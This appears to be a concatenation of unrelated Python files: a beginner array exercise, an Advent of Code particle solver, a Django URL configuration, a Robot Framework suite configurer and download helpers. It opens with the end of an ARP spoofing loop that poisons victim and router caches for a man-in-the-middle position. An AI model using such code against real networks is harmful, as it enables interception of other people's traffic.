        spoof("targetIP","routerIP") #tell victim i am router
        spoof("routerIP","targetIP") #tell router i am the victim so i can act as a man in the middle
        packets_sent_count+=2
        print(f"\r[+] Packets sent: {packets_sent_count}", end=""), #tells python to print without a new line, putthing every print statement in a buffer that
        # \r tells python to always print at the start of the line
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[+] Detected ctrl+c ..... Reseting ARP tables... Please wait.\n")
    restore(targetIP, routerIP)
    restore(routerIP, targetIP)
    print("Exit successful\n")


class Solution:

    # count the occurences of an element in an array
    def countOccurrences(self, arr, n, x):

        res = 0
        for i in range(n):
            if x == arr[i]:
                res += 1
        return res

    # count the zeroes in the list/array
    def moveZeroes(self, arr):

        value = input('enter a number')
        for i in range(len(arr)):
            if arr[i] == value:
                arr.append(arr.pop(arr.index(value)))
        return arr

    # occurences of characters in a string
    def occurencesCharOfString(self, str, c):

        res = ''
        for i in range(len(str)):
            # this one if they have specific character to display
            if c == str[i]:
                # or we can just display all the characters/string
                res += str[i]
        # returns the total number of elements
        return (len(str), res)

# calling function

output = Solution()
result = output.moveZeroes([1,2,0,3,0,1])
print(result)

output = Solution()
result = output.countOccurrences([1,2,3,1,1], 5, 1 )
print(result)

output = Solution()
result = output.occurencesCharOfString('test', 't')
print(result)


from pathlib import Path
import numpy as np
import re
from collections import defaultdict
import re
from collections import deque

reg = re.compile(
    r"p=< *(-?\d+), *(-?\d+), *(-?\d+)>, v=< *(-?\d+), *(-?\d+), *(-?\d+)>, a=< *(-?\d+), *(-?\d+), *(-?\d+)>"
)

def man_dist(v):
    return np.sum(np.abs(v))

def vel_crit(a,v):
    s = np.sign(a)
    crit = np.sum(s*v)
    crit += np.sum(np.where(a==0,1,0)*np.abs(v))
    return  crit

class Particles:
    def __init__(self, data):
        p = []
        v = []
        a = []
        for line in data.split("\n"):
            p.append([int(d) for d in reg.match(line).group(1, 2, 3)])
            v.append([int(d) for d in reg.match(line).group(4, 5, 6)])
            a.append([int(d) for d in reg.match(line).group(7, 8, 9)])
        self.n = len(a)
        self.p = np.array(p, dtype=int)
        self.v = np.array(v, dtype=int)
        self.a = np.array(a, dtype=int)

    def step(self):
        self.v += self.a
        self.p += self.v

    def resolve_col(self):
        index = np.full(self.n,fill_value=False,dtype=bool)
        for i in range(1,self.n):
            idx = np.r_[i:self.n,0:i]
            collision = np.all(self.p == self.p[idx],axis=1)
            index = np.logical_or(index,collision)
        self.p = self.p[~index]
        self.v = self.v[~index]
        self.a = self.a[~index]

        self.n = np.sum(~index)

    def n_possible_collisions(self):
        possible_collisons = 0
        for i in range(1,self.n):
            idx = np.r_[i:self.n,0:i]
            p_s = self.p<self.p[idx]
            v_s = self.v<=self.v[idx]
            a_s = self.a<=self.a[idx]
            left_not_collision = np.stack((p_s,v_s,a_s),axis=-1)
            left_not_collision = np.all(left_not_collision,axis=2)
            left_not_collision = np.any(left_not_collision,axis=1)

            p_s = self.p>self.p[idx]
            v_s = self.v>=self.v[idx]
            a_s = self.a>=self.a[idx]
            right_not_collision = np.stack((p_s,v_s,a_s),axis=-1)
            right_not_collision = np.all(right_not_collision ,axis=2)
            right_not_collision = np.any(right_not_collision ,axis=1)

            not_collision = np.logical_or(left_not_collision,right_not_collision)
            possible_collisons += np.sum(~not_collision)
        return possible_collisons

    def evolve_until_collisions(self):
        self.resolve_col()
        while self.n_possible_collisions() > 0:
            self.step()
            self.resolve_col()

    def find_closest_particle(self):
        min_ind = 0
        min_a = man_dist(self.a[0])
        min_v = vel_crit(self.a[0],self.v[0])
        for i in range(1, self.n):
            a_norm = man_dist(self.a[i])
            v_crit = vel_crit(self.a[i],self.v[i])
            if (a_norm < min_a) or ((a_norm == min_a) and (v_crit < min_v)):
                min_a = a_norm
                min_v = v_crit
                min_ind = i
                duplicate_min = 1
            elif (a_norm == min_a) and (v_crit == min_v):
                duplicate_min += 1
        if duplicate_min > 1:
            raise RuntimeError("Unable to find a unique minimum")
        return min_ind

def main():
    data_folder = Path(".").resolve()
    data = data_folder.joinpath("input.txt").read_text()
    par = Particles(data)
    print("Part 1")
    print(
        f"The {par.find_closest_particle()}th particle will stay closest to <0,0,0> in the long term"
    )
    print()

    print("Part 2")
    par.evolve_until_collisions()
    print(f"{par.n} particles remain after all collisions are resolved")

if __name__ == "__main__":
    main()


"""website URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/4.1/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from rest_framework import permissions
from drf_yasg.views import get_schema_view
from drf_yasg import openapi

schema_view = get_schema_view(
    openapi.Info(
        title="API Блога",
        default_version="v1",
        description="Простой блог на Django и Django Rest Framework",
        # terms_of_service="https://www.google.com/policies/terms/",
        contact=openapi.Contact(email="darkus007@yandex.ru"),
        # license=openapi.License(name="BSD License"),
    ), public=True, permission_classes=[permissions.AllowAny, ],
)

urlpatterns = [
    path('admin/', admin.site.urls),
    path('api/v1/', include('blog.urls')),
    path('api-auth/', include('rest_framework.urls')),  # добавляем вход и выход посредствам rest_framework
    path('api/v1/dj-rest-auth/', include('dj_rest_auth.urls')),     # адрес может быть любой
    # добавляем регистрацию пользователей
    path('api/v1/dj-rest-auth/registration/', include('dj_rest_auth.registration.urls')),

    # Добавляем документацию
    path('swagger/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),
    path('redoc/', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),
]


from robotide.lib.robot.utils import seq2str
from robotide.lib.robot.errors import DataError

from .visitor import SuiteVisitor

class SuiteConfigurer(SuiteVisitor):

    def __init__(self, name=None, doc=None, metadata=None, set_tags=None,
                 include_tags=None, exclude_tags=None, include_suites=None,
                 include_tests=None, empty_suite_ok=False):
        self.name = name
        self.doc = doc
        self.metadata = metadata
        self.set_tags = set_tags or []
        self.include_tags = include_tags
        self.exclude_tags = exclude_tags
        self.include_suites = include_suites
        self.include_tests = include_tests
        self.empty_suite_ok = empty_suite_ok

    @property
    def add_tags(self):
        return [t for t in self.set_tags if not t.startswith('-')]

    @property
    def remove_tags(self):
        return [t[1:] for t in self.set_tags if t.startswith('-')]

    def visit_suite(self, suite):
        self._set_suite_attributes(suite)
        self._filter(suite)
        suite.set_tags(self.add_tags, self.remove_tags)

    def _set_suite_attributes(self, suite):
        if self.name:
            suite.name = self.name
        if self.doc:
            suite.doc = self.doc
        if self.metadata:
            suite.metadata.update(self.metadata)

    def _filter(self, suite):
        name = suite.name
        suite.filter(self.include_suites, self.include_tests,
                     self.include_tags, self.exclude_tags)
        if not (suite.test_count or self.empty_suite_ok):
            self._raise_no_tests_error(name, suite.rpa)

    def _raise_no_tests_error(self, suite, rpa=False):
        parts = ['tests' if not rpa else 'tasks',
                 self._get_test_selector_msgs(),
                 self._get_suite_selector_msg()]
        raise DataError("Suite '%s' contains no %s."
                        % (suite, ' '.join(p for p in parts if p)))

    def _get_test_selector_msgs(self):
        parts = []
        for explanation, selector in [('matching tags', self.include_tags),
                                      ('not matching tags', self.exclude_tags),
                                      ('matching name', self.include_tests)]:
            if selector:
                parts.append(self._format_selector_msg(explanation, selector))
        return seq2str(parts, quote='')

    def _format_selector_msg(self, explanation, selector):
        if len(selector) == 1 and explanation[-1] == 's':
            explanation = explanation[:-1]
        return '%s %s' % (explanation, seq2str(selector, lastsep=' or '))

    def _get_suite_selector_msg(self):
        if not self.include_suites:
            return ''
        return self._format_selector_msg('in suites', self.include_suites)


import requests
import os
import subprocess

def download_file(url, local_fname=None, force_write=False):
    if local_fname is None:
        local_fname = url.split('/')[-1]
    if not force_write and os.path.exists(local_fname):
        return local_fname

    r = requests.get(url, stream=True)
    assert r.status_code == 200, "failed to open %s" % url
    with open(local_fname, 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk: # filter out keep-alive new chunks
                f.write(chunk)
    return local_fname

def get_gpus():
    """
    return a list of GPUs
    """
    try:
        re = subprocess.check_output(["nvidia-smi", "-L"], universal_newlines=True)
    except OSError:
        return []
    return range(len([i for i in re.split('\n') if 'GPU' in i]))